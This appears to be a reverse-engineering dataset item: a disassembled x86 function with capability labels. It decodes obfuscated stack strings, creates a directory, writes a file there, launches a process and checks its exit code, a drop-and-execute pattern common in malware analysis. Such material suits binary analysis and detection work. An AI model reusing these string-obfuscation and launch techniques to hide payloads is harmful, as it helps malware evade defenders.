Function at 0x100c6572
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push 0x510
mov eax, 0x100f8cba
call fcn.100cca34
push 0x1c
pop esi
mov dword [ebp - 0x42c], esi
xor ebx, ebx
mov eax, dword [ebp - 0x42c]
push 0x6c
pop ecx
xor eax, ecx
lea ecx, [ebp - 0x42c]
mov byte [ebp - 0x428], al
mov eax, dword [ebp - 0x42c]
inc al
xor eax, 0x64
mov byte [ebp - 0x427], al
mov eax, dword [ebp - 0x42c]
add al, 2
xor eax, 0x72
mov byte [ebp - 0x426], al
mov eax, dword [ebp - 0x42c]
add al, 3
xor eax, 0x2e
mov byte [ebp - 0x425], al
mov eax, dword [ebp - 0x42c]
add al, 4
xor eax, 0x78
mov byte [ebp - 0x424], al
mov eax, dword [ebp - 0x42c]
add al, 5
xor eax, 0x65
mov byte [ebp - 0x423], al
mov eax, dword [ebp - 0x42c]
add al, 6
mov byte [ebp - 0x421], bl
xor eax, 0x6d
mov byte [ebp - 0x422], al
mov al, byte [ebp - 0x428]
call fcn.1008652e
push eax
call fcn.1000cc24
push eax
lea eax, [ebp - 0x4f8]
push eax
call fcn.100c6c6d
add esp, 0xc
test eax, eax
js 0x100c6c67
lea eax, [ebp - 0x4f8]
mov dword [ebp - 0x500], eax
lea eax, [ebp - 0x500]
push eax
lea eax, [ebp - 0x518]
push ebx
push eax
call fcn.10062898
add esp, 0xc
mov dword [ebp - 4], ebx
lea edx, [ebp - 0x420]
mov eax, dword [0x10201ab4]
push esi
push 0x208
push edx
mov eax, dword [eax + 0xc]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x70]
mov esi, eax
test esi, esi
js 0x100c6c4b
mov eax, dword [0x10201ab4]
mov edx, 0xf10d
push 0x208
mov edi, dword [eax + 0xa8]
lea ebx, [edx + 0x6e]
mov dword [ebp - 0x4f4], 0xf13f
lea ecx, [edx - 4]
mov eax, 0xf144
lea esi, [edx + 1]
mov word [ebp - 0x4f0], ax
add eax, 0xffffffc4
mov word [ebp - 0x4ee], ax
mov eax, 0xf10b
mov word [ebp - 0x4ec], ax
add eax, 0x6f
mov word [ebp - 0x4ea], ax
lea eax, [edx - 7]
mov word [ebp - 0x4e8], dx
mov word [ebp - 0x4e6], ax
add eax, 4
mov word [ebp - 0x4e4], ax
lea eax, [edx + 2]
mov word [ebp - 0x4e2], ax
add eax, 3
mov word [ebp - 0x4e0], cx
mov word [ebp - 0x4de], ax
mov word [ebp - 0x4dc], bx
mov word [ebp - 0x4da], dx
mov word [ebp - 0x4d8], cx
add ecx, 0x74
mov word [ebp - 0x4d6], si
mov word [ebp - 0x4d4], ax
lea eax, [edx - 2]
mov word [ebp - 0x4d2], ax
add edx, 0x6c
mov word [ebp - 0x4d0], cx
add eax, 0x71
mov word [ebp - 0x4ce], dx
mov word [ebp - 0x4cc], ax
lea eax, [ebx - 0x69]
mov word [ebp - 0x4ca], ax
add eax, 0xfffffff5
mov word [ebp - 0x4c8], ax
lea eax, [ebx - 0x70]
mov word [ebp - 0x4c6], ax
add eax, 7
mov word [ebp - 0x4c4], cx
lea ecx, [ebp - 0x4f4]
mov word [ebp - 0x4c2], bx
mov word [ebp - 0x4c0], ax
lea eax, [ebx - 0x75]
mov word [ebp - 0x4be], si
mov word [ebp - 0x4bc], si
mov word [ebp - 0x4ba], ax
add eax, 7
mov word [ebp - 0x4b8], dx
mov word [ebp - 0x4b6], ax
lea eax, [ebx - 0x70]
mov word [ebp - 0x4b4], ax
mov word [ebp - 0x4b2], ax
inc eax
mov word [ebp - 0x4b0], ax
lea eax, [ebx + 1]
mov word [ebp - 0x4ae], ax
add eax, 0xffffff8d
mov word [ebp - 0x4ac], ax
lea eax, [ebx - 0x73]
mov word [ebp - 0x4aa], ax
add eax, 2
mov word [ebp - 0x4a8], ax
lea eax, [ebx - 0x39]
mov word [ebp - 0x4a6], ax
xor eax, eax
mov word [ebp - 0x4a4], ax
mov ax, word [ebp - 0x4f0]
mov esi, dword [edi]
lea eax, [ebp - 0x218]
push eax
call fcn.1000b6ff
push eax
push edi
call dword [esi + 0x60]
mov esi, eax
test esi, esi
js 0x100c6c4b
xor ebx, ebx
xor eax, eax
push 7
pop esi
mov dword [ebp - 0x464], ebx
mov dword [ebp - 0x460], ebx
mov dword [ebp - 0x464], ebx
mov dword [ebp - 0x460], esi
mov word [ebp - 0x474], ax
mov byte [ebp - 4], 1
mov eax, 0x21ae
mov dword [ebp - 0x4a0], 0x21f6
lea ecx, [ebp - 0x4a0]
mov word [ebp - 0x49c], ax
add eax, 0x11
mov word [ebp - 0x49a], ax
mov eax, 0x21b1
mov word [ebp - 0x498], ax
add eax, 7
mov word [ebp - 0x496], ax
mov eax, 0x21b5
mov word [ebp - 0x494], ax
add eax, 4
mov word [ebp - 0x492], ax
mov eax, 0x21b2
mov word [ebp - 0x490], ax
inc eax
mov word [ebp - 0x48e], ax
mov eax, 0x21c5
mov word [ebp - 0x48c], ax
xor eax, eax
mov word [ebp - 0x48a], ax
mov ax, word [ebp - 0x49c]
lea eax, [ebp - 0x218]
push eax
call fcn.100498b1
push eax
lea eax, [ebp - 0x420]
push eax
lea eax, [ebp - 0x474]
push str._ls_ls_ls
push eax
call fcn.10004b9e
add esp, 0x14
lea eax, [ebp - 0x474]
push 8
pop edi
cmp dword [ebp - 0x460], edi
cmovae eax, dword [ebp - 0x474]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x100c6954
cmp dword [ebp - 0x460], edi
lea eax, [ebp - 0x474]
cmovae eax, dword [ebp - 0x474]
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHCreateDirectory]
test eax, eax
je 0x100c6954
mov esi, 0xe0010001
jmp 0x100c6c3d
xor eax, eax
mov dword [ebp - 0x44c], ebx
mov dword [ebp - 0x448], ebx
mov dword [ebp - 0x44c], ebx
mov dword [ebp - 0x448], esi
mov word [ebp - 0x45c], ax
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x444]
mov dword [ebp - 0x444], 0xb674
mov eax, dword [ebp - 0x444]
xor eax, 0x5c
mov word [ebp - 0x440], ax
mov eax, dword [ebp - 0x444]
inc eax
xor eax, 0x6c
mov word [ebp - 0x43e], ax
mov eax, dword [ebp - 0x444]
add eax, 2
xor eax, 0x64
mov word [ebp - 0x43c], ax
mov eax, dword [ebp - 0x444]
add eax, 3
xor eax, 0x72
mov word [ebp - 0x43a], ax
mov eax, dword [ebp - 0x444]
add eax, 4
xor eax, 0x2e
mov word [ebp - 0x438], ax
mov eax, dword [ebp - 0x444]
add eax, 5
xor eax, 0x78
mov word [ebp - 0x436], ax
mov eax, dword [ebp - 0x444]
add eax, 6
xor eax, 0x65
mov word [ebp - 0x434], ax
mov eax, dword [ebp - 0x444]
add eax, esi
lea esi, [ebp - 0x474]
xor eax, 0x6d
mov word [ebp - 0x432], ax
xor eax, eax
mov word [ebp - 0x430], ax
mov ax, word [ebp - 0x440]
cmp dword [ebp - 0x460], edi
cmovae esi, dword [ebp - 0x474]
call fcn.100494c6
push eax
push esi
lea eax, [ebp - 0x45c]
push str._ls_ls
push eax
call fcn.10004b9e
mov eax, dword [ebp - 0x4f8]
lea esi, [ebp - 0x45c]
add esp, 0x10
cmp dword [ebp - 0x448], edi
cmovae esi, dword [ebp - 0x45c]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x10]
push eax
mov eax, dword [ebp - 0x4f8]
push eax
mov ecx, dword [eax]
call dword [ecx + 0xc]
push eax
push esi
call fcn.100c53a0
add esp, 0xc
test eax, eax
jne 0x100c6ad3
mov eax, dword [ebp - 0x4f8]
lea esi, [ebp - 0x45c]
cmp dword [ebp - 0x448], edi
push eax
cmovae esi, dword [ebp - 0x45c]
mov ecx, dword [eax]
call dword [ecx + 0x10]
push eax
mov eax, dword [ebp - 0x4f8]
push eax
mov ecx, dword [eax]
call dword [ecx + 0xc]
push eax
push esi
call fcn.100bd4ba
mov esi, eax
add esp, 0xc
test esi, esi
js 0x100c6c2e
cmp dword [ebp - 0x448], edi
lea eax, [ebp - 0x45c]
push ebx
cmovae eax, dword [ebp - 0x45c]
push ebx
push eax
call fcn.100c94d5
mov edi, eax
add esp, 0xc
test edi, edi
je 0x100c6c29
push 0xffffffffffffffff
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x504]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x100c6c29
cmp dword [ebp - 0x504], 0
jne 0x100c6c29
push 0x7f
pop eax
mov word [ebp - 0x488], ax
lea ecx, [ebp - 0x488]
push 0x6f
pop eax
mov word [ebp - 0x486], ax
push 0x7c
pop eax
mov word [ebp - 0x484], ax
push 0x75
pop eax
mov word [ebp - 0x482], ax
push 0x7b
pop eax
mov word [ebp - 0x480], ax
push 0x6c
pop eax
mov word [ebp - 0x47e], ax
push 0x79
pop eax
mov word [ebp - 0x47c], ax
push 0x38
pop eax
mov word [ebp - 0x47a], ax
xor eax, eax
mov word [ebp - 0x478], ax
mov ax, word [ebp - 0x488]
call fcn.100cc170
push eax
call fcn.100cb85a
mov dword [ebp - 0x4fc], eax
pop ecx
cmp eax, 0xffffffff
jne 0x100c6bbd
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
or esi, 0xe0ff0000
jmp 0x100c6c2e
lea eax, [ebp - 0x4fc]
mov dword [ebp - 0x508], eax
lea eax, [ebp - 0x508]
push eax
lea eax, [ebp - 0x510]
push ebx
push eax
call fcn.10073a06
add esp, 0xc
mov byte [ebp - 4], 3
push 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push dword [ebp - 0x4fc]
call fcn.100cb69f
mov esi, eax
add esp, 0xc
neg esi
sbb esi, esi
and esi, 0x1ffeffff
add esi, 0xe0010001
mov byte [ebp - 4], 2
cmp byte [ebp - 0x510], 0
jne 0x100c6c2e
lea eax, [ebp - 0x50c]
push eax
call fcn.10073a34
pop ecx
jmp 0x100c6c2e
mov esi, 0xe0010001
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x45c]
call fcn.1000b2cc
mov byte [ebp - 4], bl
lea ecx, [ebp - 0x474]
call fcn.1000b2cc
or dword [ebp - 4], 0xffffffff
cmp byte [ebp - 0x518], 0
jne 0x100c6c65
lea eax, [ebp - 0x514]
push eax
call fcn.100629bd
pop ecx
mov eax, esi
call fcn.100cc9de
ret